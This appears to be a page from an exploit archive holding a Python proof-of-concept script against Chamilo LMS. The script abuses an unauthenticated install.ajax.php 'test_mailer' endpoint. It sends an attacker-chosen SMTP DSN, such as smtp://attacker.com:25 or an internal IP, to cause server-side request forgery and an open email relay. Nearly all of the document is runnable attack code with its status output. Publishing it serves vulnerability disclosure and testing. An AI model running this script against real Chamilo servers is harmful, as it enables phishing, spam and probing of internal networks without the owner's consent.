5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
PoC: Chamilo LMS - Unauthenticated SSRF and Open Email Relay via install.ajax.php

Vulnerability: The install.ajax.php AJAX endpoint does not include the main
authentication/initialization framework (global.inc.php). It only loads the
Composer autoloader. This means:

1. No authentication check - anonymous users can access it
2. No installation-completed check - works even on fully installed instances
3. The 'test_mailer' action accepts an arbitrary Symfony Mailer DSN from POST data
4. It connects to the attacker-specified SMTP server and sends an email

Impact:
- SSRF: An attacker can make the server connect to arbitrary SMTP servers,
  including internal network hosts (smtp://internal-host:25)
- Open Email Relay: The server can be used to send emails to arbitrary
  destinations, enabling phishing and spam campaigns
- Internal Network Probing: By specifying internal IPs/hostnames in the DSN,
  an attacker can enumerate internal services

Affected: chamilo/chamilo-lms (latest master as of 2026-03-23)
File: public/main/inc/ajax/install.ajax.php
"""

import requests
import sys

def exploit(target_url, attacker_smtp, from_email, to_email):
    """
    Send a request to the unauthenticated test_mailer endpoint.
    
    Args:
        target_url: Base URL of the Chamilo instance (e.g., http://chamilo.local)
        attacker_smtp: Attacker-controlled SMTP DSN (e.g., smtp://attacker.com:25)
        from_email: Email address to send from
        to_email: Email address to send to
    """
    endpoint = f"{target_url}/main/inc/ajax/install.ajax.php?a=test_mailer"
    
    payload = {
        "mailerDsn": attacker_smtp,
        "mailerFromEmail": from_email,
        "mailerFromName": "Chamilo SSRF PoC",
        "mailerTestDestination": to_email,
    }
    
    print(f"[*] Target: {endpoint}")
    print(f"[*] SMTP DSN: {attacker_smtp}")
    print(f"[*] From: {from_email}")
    print(f"[*] To: {to_email}")
    print()
    
    try:
        resp = requests.post(endpoint, data=payload, timeout=15, verify=False)
        print(f"[*] HTTP Status: {resp.status_code}")
        print(f"[*] Response: {resp.text[:500]}")
        
        if resp.status_code == 200:
            print("\n[+] SUCCESS: Email sent via unauthenticated endpoint!")
            print("[+] The server connected to the specified SMTP server and sent an email.")
            print("[+] This confirms SSRF and open email relay.")
        elif "Connection could not be established" in resp.text:
            print("\n[+] SSRF CONFIRMED: The server attempted to connect to the SMTP host.")
            print("[+] The connection failed (host unreachable), but the SSRF is proven.")
        elif resp.status_code == 500:
            print("\n[+] Server error - the endpoint is reachable and processed the request.")
            print("[+] Check if the SMTP connection was attempted.")
        else:
            print(f"\n[?] Unexpected response. Check manually.")
    except requests.exceptions.ConnectionError:
        print("[-] Cannot connect to target.")
    except requests.exceptions.Timeout:
        print("[+] Request timed out - server may be attempting SMTP connection (SSRF indicator)")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [attacker_smtp] [from_email] [to_email]")
        print(f"Example: {sys.argv[0]} http://chamilo.local smtp://attacker.com:25 [email protected] [email protected]")
        print()
        print("Demonstrating the vulnerability structure:")
        print()
        print("Vulnerable file: public/main/inc/ajax/install.ajax.php")
        print("- Only loads vendor/autoload.php (no auth, no install check)")
        print("- Action 'test_mailer' creates Transport::fromDsn() with user-supplied DSN")
        print("- Sends email to user-supplied destination")
        print()
        print("The DSN can target internal hosts: smtp://10.0.0.1:25")
        print("This enables SSRF into the internal network via SMTP protocol.")
        sys.exit(0)
    
    target = sys.argv[1].rstrip("/")
    smtp = sys.argv[2] if len(sys.argv) > 2 else "smtp://127.0.0.1:25"
    from_addr = sys.argv[3] if len(sys.argv) > 3 else "[email protected]"
    to_addr = sys.argv[4] if len(sys.argv) > 4 else "[email protected]"
    
    exploit(target, smtp, from_addr, to_addr)